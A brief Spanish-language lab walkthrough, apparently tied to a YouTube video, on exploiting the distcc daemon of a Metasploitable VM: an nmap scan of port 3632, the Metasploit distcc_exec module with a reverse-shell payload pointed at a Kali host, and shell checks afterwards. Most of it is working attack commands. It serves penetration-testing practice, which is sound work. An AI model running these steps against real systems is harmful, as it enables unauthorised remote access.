🎬 Este vídeo de YouTube

1️⃣ Identificar el objetivo (Nmap)

nmap -sV -p 3632 192.168.56.102

✅ El resultado será el siguiente: 3632/tcp open distccd v1

👉 Por lo tanto, distcc está abierto y es explotable.

2️⃣ Iniciar Metasploit

msfconsole

3️⃣ Seleccionar el exploit de distcc

use exploit/unix/misc/distcc_exec

4️⃣ Verificar las opciones

show options

Parámetros necesarios:

Opción Valor RHOSTS Metasploitable IP RPORT 3632 PAYLOAD cmd/unix/reverse

5️⃣ Establecer la IP del objetivo

set RHOSTS 192.168.56.102

6️⃣ Configurar el payload

set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101

LHOST — la dirección IP de tu Kali Linux

7️⃣ Ejecutar el exploit

run

🎉 Resultado

Si tiene éxito:

[*] Command shell session opened

Comprobamos la shell:

whoami
uname -a
id